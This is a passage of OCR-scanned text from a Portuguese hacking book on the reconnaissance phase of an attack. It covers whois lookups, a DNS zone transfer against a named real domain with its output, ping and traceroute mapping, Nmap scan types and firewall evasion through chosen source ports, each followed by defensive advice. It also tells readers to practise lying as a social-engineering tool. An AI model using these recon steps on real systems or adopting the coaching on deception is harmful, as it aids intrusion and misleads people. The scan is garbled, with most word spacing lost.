Façaaulasdeteatro.Dicaóbvia. ~ Impostaçãodevoz,segurançae fIrmezasãoimportantes.Façaaulasdecanto. ~ Procure livros sobreprogramaçãoneurolingüística.Vaiquebrarum galhão. ~Acostume-sea olhar SEMPREo lixo, mesmoem casa!Sejaum black hat de hábitos... ~ Minta para seu chefe,para suamãe,para o padre em confIssão.Treine a mentira.Elaé suaferramentamaispoderosa.Nem todosos scannersdo mundo podem descobriras coisasque simplesperguntasfeitascom a entonaçãocor- retaconseguemem cinco minutos. Nãobastasabero queestáfazendo.Énecessáriosaberporqueestáfazendo.Se vocêtemumarespostanapontadalínguaquandoperguntado"ei,por quevocê querinvadirminhaempresa?",podeseguiremfrente.Masnãoseesqueçade que,umavezdentro,vocêserárastreado.Sevocêjásabeo quequerfazerquando estiverentreosmurosdocastelo,ótimo.Senãosabe,nãotente!E nãoesqueça que,dependendodeseusintentos,vocêestaráincorrendoemalgumcrime. 12261 Ataque,defesa e contra-ataque:Observação
  • Universidade3°Ano A grandeteia Possocontarnosdedosa quantidadedecoisasquenãoacheipelaInternet. Certavez,estavaajudandominhanamoradafrancófonaa procuraralgumas letrasde"chansons"parainseriremumacompilaçãoque elaestavafazendo. Umadasmúsicas,"Çaira"(quepossuidiversasversõescomdiferentesletras), estavasendodurodeencontrar.Segueo diálogo: -Nãoconsigoacharestaaqui. -Qual é? - "Çaira",váriasgravações,entreelasa deEdithPiaf. -Já tentounoAll TheWeb? -Já, tambémno Googlee noAltaVista. -Comovc tentou? -Procureipelonome,só.DepoistenteinomedamúsicamaisEdithPiaf. -Possotentar?Normalmente,euuso,paraletraseminglês,o nomeda música,o nomedo artistamaisa palavralyrics.Comoé letraemfrancês? -Parole. -Tentaaí:ça ira piafparole Elatentoue,parasuacompletaestupefação,encontrouváriossitescomas letras,inclusivealgunscontendoreferênciascruzadas,asváriasversões agrupadase aspectoshistóricose sociaisligadosa elas. A Internet,no geral,e aWorldWideWebemespecial,sãopródigaseminfor- maçõessobresuapessoa,sejaelafísica,ou sejajurídica.Muitasdelasforam colocadasláporninguémmenosquevocêmesmo.Seusfuncionários,sevocê os tiver,tambémsãograndesfontesde informação.Vejamos. o Googleéseuamigo É impressionantecomoosrobôsdessesmecanismostrabalhamdireito!Quem nãosabecomoo AltaVistatemcatalogadotodosaqueleslinksmereceuma explicaçãorápida. Há doistiposdemecanismosde busca:os catálogos(a traduçãocertapara directory,apesardemuitostraduziremcomodiretório...)e os baseadosemro- bôs.Catálogossãosimpleslistasde sitesqueos própriosinteressadosinscre- vem.Por exemplo,oYahoo!hospedasitesemseubraçocorporativoGeocities. EssessitesautomaticamenteentramnocatálogodoGeocities,queadicionalmen- teaceitainscriçõesemseucatálogodesitesexternos.Quandoinscrito,umpro- grama-robôvarretodoo sitedapessoae cadastraaspalavras-chavedo texto. Umsitebaseadoemrobôsusaumprogramaparecidocomo doscatálogos.A diferençaé queninguémprecisacadastrarnada:os robôsfarejamum link e saemseguindoesseslinks Internetadentro.Comoaspáginasnormalmente chamamoutraspáginas,é umtrabalhosemfim. 12271 IAtaque, defesa e contra-ataque: Observação
  • IUniversidadeH4CK3RI Issoposto,éfácilimaginarque osrobôsumdiachegarãoaoSEU website.Talvezvocêou suaem- presanãotenhaumwebsite,mas seguramenteusae-mailse assi- nalistasdediscussão.Ou acessa aUsenet.Ouaindaseinscreveem outros sitespúblicos, como o Hotmail,e deixaseuperfilvisí- velaomundo.Sóatítulodeexem- plo: eu (Henrique)nãopossuo umwebsitepróprio.Massoubas- tanteruidosonaInternet;assino dezenasdelistase tenhoalguns artigospublicadosemrevistase jornais.Umapesquisapelomeu nomeresultaem: ,.--.- --,,~--~, , "._,---- :"~::iíI~,-~*~-- -'-""",'.n,.,'" AA- -- _~I,,"Id.m...-- i GOCtO . ' . te'"jl
  • Universidade3°Ano Atétu,Brutus? Maso perigopodeestaremcasa!Vocêjáolhouseusitepessoalou o desua empresa?Emumagarimpagembem-feita(ajudado,pasme,pelomecanismode buscaqueo pessoaldaWebcolocouparaauxiliaro internauta!!!),o atacante podepossivelmenteangariaralgumasdessasvaliosasinformações: ~ Tecnologia:váà páginadeTI do seusite.Querosermico de circo seo pessoaldaáreanãocolocouumalistacompletacomastecnologiasemuso.É possívelque,atéporquestõescontratuais,suaempresasejaobrigadaacolocar um seloPoweredBy no site.Mesmonãosendo,a maioriados sitespossui. Empresasefuncionáriosnormalmentesãoorgulhososdassoluçõestecnológicas que ajudam a implementar e ficam tentados a colocar informações comp1etíssimasnossites.Hackersadoramisso! . ~ Relacionamentos:muitasempresasdivulgam(intencionalmenteou não) informaçõessobreseusparceiros,fornecedores,clientese consultores.Muitos atécolocamdadossobrea concorrência!Alguémpodeestarusandoasinfor- maçõesdo SEUsiteparaatacara empresaparaa qualvocêtrabalha.Mesmo funcionárioscostumamcolocarinformaçõesrestritasemseussitespessoais. ~ Informaçõescorporativas:cultura,linguagem,funcionáriosimportantes, premiações,operário-padrão,f11iais,nomes,números,ramaisee-mailsdefunci- onários...Esseé o tipodeinformaçãopossíveldeobterapenaspesquisandoo siteda empresa.Alémde facilitarataquesremotos,é possívelpersonificaro "funcionário-padrão"daempresaparapenetraremsuasinstalaçõestísicas.Uma vezdentro,o desempre:engenhariasocial,sniffers,backdoors,roubodedocu- mentose mídias... ~ Notícias:cuidadocomos comunicadosde imprensae notaspublicadas comonotíciaemseusite.Informaçõesimportantespodemvazarnasentreli- nhas.Quem,comoos hackers,estáhabituadoa enfurnar-seemdepósitosde lixo e caçambasdedetritosparaangariarfragmentosde informação(sujosde Ketchupe papelhigiênicousado)nãoteránenhumadificuldadeempegarda- dosprontinhosorganizadosnaáreadenotíciasdoseusitee cruzá-Iosentresi. Quemé essecara? Quemtemum domínio,tevederegistrá-Ioemalgumlugar.No Brasil,quem cuidadosregistrosdedomíniosé a FAPESP(registro.br).Quandosefazo re- gistro,asinformaçõessãoguardadasnumbancodedadoschamadowhois(em português,"quemé").Cadadomínio-raiztemseuprópriobancode dadosde whois.Por exemplo,os domínios.com,.mile .edu(todosnorte-americanos) têmseusprópriosbancosdedadoswhois. Verificaro bancode dadoswhoisé muitofácil.Vá aoRegistro.bre digiteo domíniono campocorrespondente. 12291 Ataque, defesa e contra-ataque: Observação
  • I Universidade H4CK3R I CliquenobotãoPESQUlSAR.A janelaWhoisvai mostraros da- dosde registroformatadosnes- sepadrão.Emnossoexemplo(o whoisdedigeratLcom.br),temos: Bem-vindoaoRegisuo.br Reg;..rod.do";."'.p'" ".tem.'.oB,as' ~~;'~l;';;I,~I~...J~..Jc!!~lÇ 1 I PESw~'''''''"""'-"'«;'''';0"~=,.-.,,. ,,"'."" R"''''. 00- ,. ""... -"" "~1I2OO3.C"" ""''''' ~''',"-,""",,''. ""a,","~"~~""'_d..",""
  • Universidade3°Ano Háferramentasdelinhadecomando,tantonoWindowscomono Unix,que podemrecuperarinformaçõesvaliosassobreDNS paraos hackers.Adicional- mente,o Nessuséumexemplodescannerdevulnerabilidadeque,entreoutras coisas,recuperainformaçõesde servidoresDNS. O grandeproblemadatecnologiade DNS sãoastransferênciasde zonaou zonetransfers.Quandoumprovedorou empresapõeno arumsistemaDNS, normalmentecolocamaisdeumservidor(posicionadoemlocalidadesdiferen- tes)paraatenderaosprogramasquedependemdele.Um delesseráo DNS primário,osoutrosserãosecundáriosouescravos.O zonetransferé umproce- dimentocriadoparatransferirdadosentretodososDNSsdaqueledomínioou zona(zonaéumconjuntodeváriosdomínios,ouantes,deváriossubdomínios nummesmodomínio). O queocorreé queapenashostsautorizadosdeveriampoderfazertransferên- ciasdedomínios.SemeuDNSprimárioé 204.200.100.99e meusecundárioé 204.200.200.250,apenaso 250poderiasolicitarzonetransfersdo 99 e vice- versa.Observamos,entretanto,quequaseatotalidadedeDNSsaoredordaTerra permitezonetransferssolicitadosa partirdequalquernó daGrandeRede. Umexemploprático.Emumaestaçãocomlinux,usaremoso comandodigoEsse comandopodeserencontradotambémemalgunsUnix.Abraumterminaledigite: $ dig @NS1.locaweb.com.br digerati.com.br AXFR A sintaxeésimples.Oprimeiroargumentoéo nomedoservidorDNS(poderiaser tambémonúmeroIP).O segundoargumentoéodomínioquesequerpesquisareo terceiro(AXFR)indicaquequeremosfazerumzonetransfer.A saídadocomandoé: ; «» DiG 9.2.1 «» @NS1.1ocaweb.com.br digerati.com.br AXFR ;; global options: printcmd digerati.com.br. 3600 admin.1ocaweb.com.br. 8 digerati.com.br. O IN digerati.com.br. O IN digerati.com.br. O IN digerati.com.br. O IN digerati.com.br. O IN ftp.digerati.com.br. O smtp.digerati.com.br. O pop.digerati.com.br. O mail.digerati.com.br. O www.digerati.com.br. O wap.digerati.com.br. O sqlserver.digerati.com.br. O webmail.digerati.com.br. O smtp-gw.digerati.com.br. O digerati.com.br. 3600 admin.1ocaweb.com.br. 8 3600 ;; Query time: 881 msec ;; SERVER: 200.246.179.123#53 (NS1.1ocaweb.com.br) ;; WHEN: Tue Apr 812:28:502003 ;; XFR size: 17 records IN 3600 NS NS NS A MX IN IN IN IN IN IN IN IN IN IN 600 86400 SOA hm23. 600 86400 3600 NS1.1ocaweb.com.br. NS2.1ocaweb.com.br. NS3.1ocaweb.com.br. 200.246.179.102 10 smtp-gw.digerati.com.br. A 200.246.179.102 A 200.182.98.136 A 200.182.98.136 A 200.182.98.136 A 200.246.179.102 A 200.246.179.102 A 200.246.179.82 CNAME pop.digerati.com.br. A 200.182.98.155 SOA hm23. 3600 12311 ]Ataque, defesa e contra-ataque:Observação
  • IUniversidadeH4CK3RI Creeedooo!Um simplescomandinhonosdissequeo servidorde SMTPda empresaestáem 200.182.98.155,e queos servidoresWebe FTP dividema mesmamáquinaem200.246.178.102.Nãoestamosconsiderando,porenquanto, interfacesderedecommúltiplosIPs,mas,dequalquerforma,arealidadepode serumpouquinhodiferentedaquefoi mostradanalista.Mesmoassim,é um excelenteponto de partidaparafazermaispesquisa,começarminiataques (lembradeles?12341234...)e elaborarseuplanodeação. Outrosexemplosde ferramentasparafazerzonetransferssãoo já citado Nessus(comversõesparaUnix eWindows),o host,disponívelnamaioriados Unix,e o veteranonslookup,presentetantoemUnix comonoWindows.Note queo nslookupparaLinuxnãofazzonetransfers! Defesae contra-ataque Infelizmente,nãohá muitocomose defenderde informaçõesobtidaspor meiode bancosde dadoswhois.As informaçõesdesseserviçodevemestar disponíveisuniversalmente,portantonãohá o quefazer.Casosrecentesde defacements(comoo do sitedaDigeratiEditorial)forampossíveisusandoas informaçõesobtidasporwhoise,depois,comumpoucodeengenhariasocial, obtidasassenhasparaalteraçãodoDNS.É umtípicocasodefalhahumana.O problemanão foram as informaçõesde whois, masas senhasfracase a vulnerabilidadesocial. Já oszonetransfersdeservidoresDNSpodem,sim,serevitados.Crieregras emseuservidorpararestringirzonetransfersapenasentreservidoresDNSdo seudomínio,bemcomodosroot-DNS-servers. Comonãohá nadade ilegalnasatividadesdo blackhat atéaqui,pois as informaçõesobtidassãotodaspúblicas,nãohácomolançarumcontra-ataque. Mesmoporque,devidoaotráfegogigantesco,rastrearacessosa servidoresde whoise DNSé tarefaimpossível. Mas,SIM!É possíveltomarmedidaspreventivas(alémde restringiro zone transfer- issoé muitoimportante!)paraevitarqueinformaçõesdesnecessári- asvazemparaa Internet.Entreelas: ~ Façaumafaxina em casa!Vasculheseu site e retire tudo o que pode dar, indevidamente,informaçõesconfidenciaisou restritasquepossibilitemum ataque. ~ Crie políticassobreo quepode serpublicadono sitee veiculadopor e-mail.Criepunições(infelizmente,necessárias)casoalgumfuncionárioponha emriscoaempresadivulgandoo quenãodeveria.E nadadecolocarbandeiri- nhascom"PoweredbyWindowsNT4"ou"RunningLinux2.2". 12321 Ataque,defesae contra-ataque:Observação[
  • Universidade3°Ano Façacampanhaspreventivas,alertandoos usuáriosde e-mailsparao perigo deenviardadosinternosdacompanhiaparafora.Pegueaquelapesquisaque vocêfeznaWebcomosnomesou e-mailsdeseusfuncionáriose monteuma apresentaçãoparailustrarsuascampanhas. 12331 ]Ataque.defesae contra-ataque:Observação
  • Ataque,defesae contra-ataque: usca Capítulo12 PedI; edar-se-vos-á;busca;'eachareis;bate;' eabrir-se-vos-á.Porque,todooquepede, recebe; e,o que busca,acha. " (Mateus,VII:7-111
  • I Universidade H4CK3R I Assimcomoosmilitares,queusamosserviçosde inteligênciaparaelaborar relatóriossobreo alvoe só depoisvãoa campoparaobservá-Io,nóstambém tivemosde angariartodasaquelasinformações,elaborarplanosde açãoe fa- zerumroteirodeataque.Nestanovafase,faremoso queosmilitareschamam de reconhecimento:conferiros dadosobtidos,preenchereventuaislacunas, corrigirdistorçõese obterdadosdeáreasantesinacessíveis.Lembre-se:depois devoltardasbuscas,realimentaremosnossoroteirocomasinformaçõesobti- das.Nuncafujado 1-2-1-3-1-4-1-5-1-6-1! Cartografiaaplicadaà Internet Chegoua horadedescobrircomoé a rededenossavítima.O hackerusará ferramentasde scanning,comoasquevimosemVulnerabilidadesI e 11,para testara redee descobrir,primeiro,comoelaé montada(topologias,sistemas defirewalIeIDS,servidoreseestações- incluindoaíseussistemasoperacionais) e fazerummapao maisdetalhadopossíveldo que,paraele,aindasão"mares nuncadantesnavegados". Vamoscomeçarcomum diagramasimples: RedePrivada ~~ 192.168.3.0192.168.4.0 200.xxx.10.20 SMTPtPOP 200.xxx.20.30 ServiçosDiversos 200.xxx.20.10 SQLServer 2361 Ataque,defesae contra-ataque:Busca[
  • Universidade3°Ano Emnossodiagrama,o hackeraindanãoconheceos computadoresdenossa rede,representadosemcor esmaecida.No decorrerdestecapítulo,à medida queelefor identificandoasdiferentesmáquinasemnossarede,asestaçõesvão ficandonítidas.Posteriormente,computadores"ownados"(ouseja,já invadidos pelohacker)serãorepresentadospelo ícone"doente". Observequehá um f1ltrode pacotese um proxy,à guisade firewall.Essa configuraçãocriaa chamadaZonaDesmilitarizadaou DMZ. Nela,os servido- rescomacessopúblicopermitido(Web,FTP,SMTP...)ficam"protegidos"pelo f11trodepacotes,quebloqueia(ou deveriabloquear)qualquercomunicação vindade forae quenãosejadestinadaa serviçosespecíficosdosservidores. Mesmoconexõesaservidoresdeveriamserbloqueadas:umaconexãonaporta 80(HTTP)sóé permitidaseo seudestinofor realmenteo servidorWebe não o deSMTP.Conexõesdeforaemdireçãoà redeinterna,nempensar... O proxy,queficanabordaentrea redeinternae o DMZ,trazumacamada adicionaldesegurançae evitaqueasestaçõesinternasconectem-seàInternet. Docontrário,elasconectam-seaoproxye ele(apenasele)"fala"comaInternet. Comesseartifício,paraquemvêdefora,aredeinternaé composta,apenase tão-somente,peloproxy.O próprioproxypodeserinvadidoe essasrestrições contornadas,masissoé conversaparamaisadiante. Varre, varre, vassourinha...' Todoslembramdo Nmape doNessus?Elessãoótimos.Praticamentetudoo queprecisamosparadescobrircoisasnasredesdosoutrospodeserconsegui- do comessasduasferramentas.Mas,parafmsdidáticos,vamosusarduasdas ferramentasmaisbásicase presentesemtodosos sistemasoperacionaisque possuamalgumsuporteaTCP1IP.Essasferramentassãoo pinge o traceroute (tracertnoWindows). O pingé umprogramaminúsculoquefazumaúnicacoisanavida:mandaum pacoteICMPEchoRequest(vejaemRedes11)paraverificarseumdeterminadoIP existeou se a máquinaque possuiaqueleIP estáon-line. Assim,podemostestartodaa faixade IPs designadapara aquelaempresaou organiza- ção,parasaberquaisdessesIPs representammáquinasligadas diretamentenaInternet. Umavezcoma listade IPs "vivos"namão,ohackerfazum desenhoparecidocomeste: aO~o 8 Todos os Ips 200.xxx.l0.n ~~ (j) 8 200.xxx.20.10 1jingle dacampanhapresidencialdejânio Quadros,em 1956. 12371 ]Ataque,defesae contra-ataque:Busca
  • I Universidade H4CK3R I CadaumdoscírculosrepresentaumdosIPs.Voltandoaonossodiagramade redes,avisãoqueo atacantetemdenossasmáquinasé esta: ~::::;".~ 200.xxx.l0.2 Proxy+Gateway [] Hackernãovê.Hackervê ~ ::::; iP ::::; lI'.~.~ 200.xxx.l0.20 200.xxx.20.30 SMTP+PDP ServiçosDiversos ~::::;".~.. 200.xxx.20.10 SQl Server Agora,o traceroute/tracerté utilizadoemcadaumdosIPs descritos.A sinta- xe é bemsimples:traceroute-n IP.QUE.QUEREMOS.VERIFICAR.Asaídadeum tracerouteseparececomesta: 1 2 3 4 5 6 7 192.168.1.162 0.524 ma 0.235 ma 0.204 ma 200.204.171.155 1.084 ma 1.040 ma 1.028 ma 200.204.174.122 11.322 ma 18.636 ma 272.474 ma 200.207.199.121 602.530 ma 513.476 ma 524.081 ma 200.205.255.219 559.810 ma 531.438 ma 610.651 ma 200.205.255.212 817.968 ma 596.748 ma 576.567 ma 200.205.254.134 527.308 ma 523.359 ma 548.114 ma . .. (continua) o parâmetro-né apenasparaevitarqueo tracerouteprocurepornomesDNS dosIPsmostrados.O hackerdeve,diligentemente,anotar(ougravare imprimir) todasassaídasdotracerouteparatodososIPsqueeledescobriucomo pingoSe tentarseguiressalistadetrásparafrente,vaiperceberquemuitasdasmáquinas estãoencadeadas.Emnossoexemplo,vemosquea saídadotraceroutedohost 200.xxx.1.1Onosdiz quea máquinaanterioré a 200.xxx.1.1.Ora,issoquer dizerqueasmáquinasestãoligadas!Emnossodiagrama: ~38I Ataque,defesa e contra-ataque:Busca r
  • 8 Todos os IPs 200.xxx.l0.n Universidade3°Ano 200.xxx.20.10 Cruzandoos dadosde todos os traceroutes,o hacker terá a seguintevisão: 200.xxx.l0.20 SMTP+POP 200.xxx.20.30 Serviços Diversos 200.xxx.20.10 SGLServer 12391 ]Ataque,defesae contra-ataque:Busca
  • IUniversidadeH4CK3RI Argh!Mas isso dátrabalho! Quermoleza?Vá sentarno pudim!Aliás,existemalgumasferramentasque fornecemo pudimpra você.Umadelasé o LAN Surveyor,da empresaLAN Software(www.neon.comlTutorials/LStourMAP.html).Mas,emqualquersitua- ção, a melhor ferramenta(disponível apenaspara Unix) é o Cheops (www.marko.net/cheops).Além de ter umainterfacebonitae funcional,o Cheopsfazo serviçosujopravocê.Estescreenshot(retiradodo siteoficial)é melhorquequalquerexemploquepudéssemospreparar: phY,is 20~.230.721!p 201.23{Í,72.$ Comovocêpodeperceber,o Cheopsautomatizaos procedimentoscom ping e traceroute(quetêmde estarpresentesno sistema)e aindausatécnicasde fmger printing(queveremosadiante)paraadivinharo sistemaoperacionalde cadanó. Procurandoportasabertas Emambosos capítulosdeVulnerabilidades,vimosalgumasferramentaspara verificarseháserviços"escutando"emportasTCP ouUDP.Naquelemomento, vimoso portscanningcomoumprocessoisolado.Agoraquesabemosondese insereno desenvolvimentodenossasbuscas,podemosdarmaisatençãoaele. Emboraexistamcentenasdeportscannerspor aí, indiscutivelmenteo Nmap é o quetrazumamelhorrelaçãocusto!benefício:é gratuito,possuiumbom conjuntodetestese estáemdesenvolvimentocontínuo. 12401 Ataque,defesae contra-ataque:Busca[
  • Universidade3°Ano Parasaberasopçõesdo Nmap,vejaa páginade manual(mannrnap)ou o Help daversãoWindows.As versõescomfrontends(Windowse Unix) possu- em,no paineldecontrole,chavesparaquasetodosos testese umabarrade statusnaqualé mostradocomoficariaa linhadecomando.Nãovamosentrar emdetalhesde utilizaçãodo Nmapaqui.Emvezdisso,vamosfalarsobreas formasdiferentesde"torcer"o handshakeTCP. O comandoNmaprodadosemargumentosfaz umaconexãocompletana portatestada,o quequerdizerquetodoo handshakeTCP é respeitado.Obvia- mente,essescané extremamenteruidosoe facilmentedetectável. Escolhendoas portasdeorigem Algumasredespermitemquecertasportasdeorigempossamoriginarcone- xõesdeforadaInternet.Comovimos,emRedes11,os f1ltrosdepacotesque funcionamcomofirewallsbarramconexõesvindasda Internetbaseadasem regras.Entreasregrasmaiscomunse manjadasestáaquelaquebarratodasas portasnãoprivilegiadas(ou seja,maioresque 1023)vindasde foraparaden- trodarede.Comisso,o administradorpensaqueestáprotegendosuaredede conexõesoriginadasdamáquinadoshackers. Elepodeatépensar,maspensaerrado!Nadaimpedequeos hackersmani- pulemasportasdeorigemde seuspacotesTCP e UDP enviadosaofirewall davítima,fazendo-opensarquesãorespostasválidasa requisiçõesvindasde dentrodarede. O exemploclássicoé a porta80.Seo blackhatcombinara utilizaçãode80 comosuaportadeorigem(osportscansdignosdessenomepermitemisso)com o flagACK acionado,o bobalhãodo firewallvaipensarqueesteé umpacote válido- e o deixaráentrar. Firewall (filtrodepacotes) 18~ 12411 ]Ataque,defesa e contra-ataque:Busca
  • IUniversidadeH40~3RI Outrasportasque podem ser de interesse:20 (respostade FTP), 21 (requisi- ção de FTP), 25 (respostade SMTP),53 UDP e 53TCP (requisiçãoe respostade DNS)e 666/667TCP e UDP (respostado servidorde Doome Quake- tenha certeza,seu administradordeixou estasabertaspara jogar à noite).Veja bem: estamosfalandode portas de origem.As portas de destino serãoescaneadas. Talvez um estudo da RFC1700 (www.ietf.org/rfc.hyml) seja revelador. Para encontrar quais portas o firewall está deixando passar além dessas óbvias,podemosusar padrõesde fmgerprinting(que veremosmaisà frente), combinadoscom as técnicasde traceroutee ping, para descobrir como funci- onam as regrasdos firewalls. Não há muitos softwaresbons que fazem isso, masum é dignode nota.ExisteexclusivamenteparaUnix e se chamaFirewaIk. Disponível em www.packetfactory.net/firewalk/.possui uma documentação que, se nãoé grande,pelo menosé bem completa.Com o Firewalk, fica muito fácil determinaras portas abertasde um filtro de pacotes funcionando como firewall e, depois, aplicarportscansdirecionadosàs máquinasinternaspassan- do por essasportas não filtradas. Varrendosobo tapete Háváriasformasdeusarportscannersparaverificarasportasabertas.Já conhecemos ohandshakecompletoeaconexãoporACK (vistosemRedesll).Abaixo,segueumalista completadaspossibilidadesusandoosflagsdoTcp,e,dequebra,um scanUDP: TCP Conneet Sean:scanfacilmentedetectável,executaos três handshakes básicos(SYN, SYN/ACK eACK). O sistemarealmentecompletaa conexão en- tre o serviçosendoescaneadoe o scanner- e, paraisso, informaçõescomple- tassobre o aplicativo-cliente(o scanner)são passadasao servidor(o serviço). TCP SYN Sean:Conhecidocomohalf-openscanning,devidoàconexãototalTCP duranteaoperação.Dessaforma,eleevitaqueo logdaoperaçãofiqueno sistema. Normalmente,o programaenviaum pacoteSYN paraa portaalvo.Seé recebido um SYN/ACK do alvo,o programadeduzqueaportaestáno mododeescuta;caso sejaum RST/ACK,significaque aportanão estáativanaquelemomento. UPD Sean:Trata-sede um dosprocessosmaislentose imprecisosde scanning, pois dependede fatoresde utilizaçãodaredee de recursosde sistema.O scanner enviaum pacoteUDP paraaportaalvo:sea respostafor ICMP portunreachab1e,a portaencontra-sefechada;casocontrário,o scannerdeduzqueaportaestáaberta. TCP Null Sean:Nestecaso,o scandesativatodos os flags e aguardado alvo um RST,que identificaa porta como fechada.Senadaresponder,a porta pode estaraberta(masnão é certeza). TCP FIN Sean: O scannerenvia pacotesFIN para a porta alvo e esperao retorno de um RST,identificandoasportasfechadas.Senadaresponder,a por- ta pode estaraberta(novamente,semnenhumacerteza). TCP Xmas Sean:O scannerenviapacotesFIN, URG e PSH paraa porta alvo e esperao retorno de um RTS paraportasfechadas.Nenhumarespostaindica possível porta aberta. 2421 Ataque.defesae contra-ataque:Busca[
  • Universidade3°Ano ImpressãodigitaLnaWeb Identificaro sistemaoperacionalqueestárodandono nó especificadoé pri- mordialparaexplorarasvulnerabilidadespossivelmentepresentes.A técnica usadanadeterminaçãodoSOdoshostschama-sefmgerprinting(ou,coletade impressãodigital). É possívelenviar,seqüencialmente,todosostestesTCP e UDP descritospara asportasdeumnó.Dependendodamaneiracomoresponde,é possívelsaber qualsistemaoperacionalestárodandonaquelehost. O Cheopse o Nmapfazemissomagistralmente.Procureadocumentaçãodeam- bosparasabercomousá-losecomointerpretarosresultados.Parasabermaissobre comoftrncionao fingerprinting,procureporfingerprintingosdeterminationou portepudpfingerprintingemseumecanismodebuscasfavorito. Tem mais? Hádiversastécnicasdeportscan.Relacionartodasnãoseriapossívelemum livro de 350páginascomoeste.Masrelacionamosabaixomaisalgunstipos, cujadescriçãopodeserfacilmenteencontradanaInternet. ~ FTP Bounee:usaumacaracterísticaantigadosservidoresFTp'que é a possibilidadedeutilizarum servidorFTP comointermediárioa fim de enviar um arquivoparaumaterceiramáquina.Comoé possívelcontrolaremqual portaseráfeitaa conexão,pode-se,manualmente,varrertodasasportasda terceiramáquina(avítima)atéconseguirconexão.Navítima,estaráregistrado o IP do servidorFTP e nãodo hacker.TambémchamadodeFTP forwarding. ~ Falhasde RCP: já falamossobreRemoteProcedureCallsemRedesI. Todosos sistemasoperacionaispossuemalgumaimplementaçãode serviços RPC, e praticamentetodostêmalgumaquerespondaincorretamentea uma conexão,revelandoqueaceitaa conexão(apesardenãonecessariamenteser vulnerável).ProcureporRPC Seane RPC Exploit. Procurandobrechas Já falamosalgumacoisasobrefurosde segurançanosdois capítulossobre vulnerabilidades.O queumscannerdevulnerabilidadefaz,normalmente,étestar cadaumdosserviçosoferecidosdeacordocompadrõespreestabelecidos.Casoo sistemarespondatambémdeacordocompadrõesreconhecidamentepertencen- tesàsversõesfalhas,o scannero reportacomo"bugado"e,portanto,possivelmen- tevulnerável.Todososfmgerprints(tantodesolicitaçãoquantoderesposta)estão guardadosembancosdedadoscujaatualizaçãoé constantee contínua. Havíamospreparado,paraestaseção,umtextomuitoextenso,didáticoe facil- mentedigerívelsobrediversosscannersdevulnerabilidades.Mas,olhandopara aquilotudo,pensamos:"estamosnegandoaoleitoraoportunidadedeaprender". Defato,sedéssemoso peixe,estaríamoscondenando-oaserumscriptkiddie parao restodavida.Seo ensinássemosapescar,aindaassimnãohaveriaopor- 12431 ]Ataque,defesae contra-ataque:Busca
  • IUniversidadeH4CK3RI tunidadeparapensar,raciocinare vercomoascoisasfuncionam.Portanto,em vezdedaro peixeouensiná-Ioapescar,decidimosapenasmostrar-lheo lago. As varasde pescaestãolá.Ponhaa cucaparafuncionar,a mãona massae aprendaumpoucosozinho! Os endereçosdasduas"varasde pesca"maisfamosasencontram-seabaixo. Estude-ascompletamente,lendotodaa suadocumentaçãoe procurandomais informaçõesnaInternet.Seficaremdúvida,peçaajuda!Há muitosgruposde discussãosobreredescompessoasdispostasaajudar- vocêpodeencontraro endereçodealgunsnoscapítulossobreredes.Sevocêprocurarbem,veráque podeler e aprendermuitacoisaantesmesmodecolocarosdedosno teclado paraescarafuncharnosburacosde alguém(semtrocadilho,por favor!). ~ Nessus: www.nessus.org ~ Gherkin:www.altmode.com/gherkin/ Adicionalmente,buscasnaInternetvãolhe mostrardiversasferramentas(li- vresounão)descannersdevulnerabilidade.VocêverácoisascomoCOPS,SAINT, NetSaint,SARA,VLAD,NetSonar...Brinqueprimeirocom os dois sugeridos. Depoisquesecansardeles,baixe(oucompre,seforo caso)osoutrosedivirta- semaisumpouquinho.Hackerismoé isso:aprendafazendo.Pense! Defesae contra-ataque Paradefender-sedehackers(oukiddies)quevarremsuaredeo tempotodo, é necessárioobedecera algumasregrasfundamentais: ~Atualizeseusistema!Sistemasdesatualizadossãograndesfontesdepro- blemas,nãoapenasdesegurança,masdeestabilidadetambém.Seufornecedor de tecnologianormalmenteofereceatualizaçõesgratuitasquandoa falhaé deles.Nãodeixepassar! ~Dispareumscancontravocêmesmo.Nãoesperequeumhackerdescu- braquevocêusaumIIS vulnerávelàfalhadeUnicodeou umSendmailcomo conhecidoSendmailBug.Oupior:queseufl1"ewalléumqueijosuíço.Osscanners estãoaíparaajudá-Io.Use-os! ~Desligueos serviçosdesnecessários.SevocêmontouumservidorWeb,que serveapenasparaisso,por quevaiquererumSMTPescutandonaporta25,um POPnaporta110eumX na6OO0?Deixerodandoapenaso queefetivamenteserá usado.Nãosóparadeixarmenosportasparao hackerusar,comotambémporque vocêvaiseesquecerdelee nãoaplicaráospatchesdesegurançapertinentes. ~ReviseseufirewalI.Seosseusscansestãopassando,seufirewallprecisa deumarevisão.Consideretrocaro f11trodepacotescomumpor umorientado a estadose melhoreasACLsdo proxyno ladodedentrodo DMZ.Aliás,você temumDMZ,nãotem? ~Instalesistemasde detecçãode intmsos,ou IDS.VeremossistemasIDS nosapêndicesno CD-ROM.Masé importanteinstalarumdessesparagarantir queseuslogsserãopreservadose qualquerinvasãosejaprontamenterastreada. 12441 Ataque,defesae contra-ataque:Busca[
  • Universidade3°Ano Contra-atacarnessescasos,emborapossível(poisum kiddieruidosoficaria noslogs,e mesmohackersexperientescometemdeslizes),nãoseriajustificá- vel.Nesteponto,apesardeperigosamenteno limiar,o hackeraindanãoultra- passoua barreirada legalidade.Verifiquesempreseuslogs e usepossíveis scanse ataquescomoavisosparaatualizarseussistemas. 12451 ]Ataque,defesae contra-ataque:Busca
  • Ataque,defesae contra-ataque: Invasão ''Abordarnaviosmercantes invadir,pilhar, tomar o queé nosso!...! Preparar a nossa invasão E fazerjustiçacomaspropriasmãos."I RPM, "Rádio Pirata" 1.Do albuIn Revoluçõespor Ininuto. de 198/>'
  • I UniversidadeH4CK3RI "Por que o cachorro entrou na igreja"? Ante essa pergunta capiciosa, a maio- ria das pessoas, depois de "raciocinar" um pouco, disparam respostas das mais estapafúrdias e incongruentes que o ser humano pode ser capaz de conceber. "Poque o padre chamou". "Porque os anjos o conduziram para a plenitude espiritual". "Porque ouviu um chamado de Alá para destruir o templo de idola- tria dos infiéis". "Porque quis". "Porque sim". "Porque havia quermesse e ele sentiu cheiro de lingüiça". "Porque estava no colo da dona". "Ah, vai te catá, mano"! Mas a resposta correta é a mais simples e lógica de todas. O cachorro entrou na igreja porque a porta estava aberta. A partir deste ponto ultrapassamos os limites. A legislação brasileira não reconhece o acesso a sistemas que estejam abertos à Internet como invasão, da mesma forma como entrar num shopping center também não é invasão: as portas estão abertas para tal. Pela lei norte-americana, entretanto, esse tipo de invasão (de sistemas e de shopping centers) já é considerado invasão de propriedade. Se você não é bem vindo em um 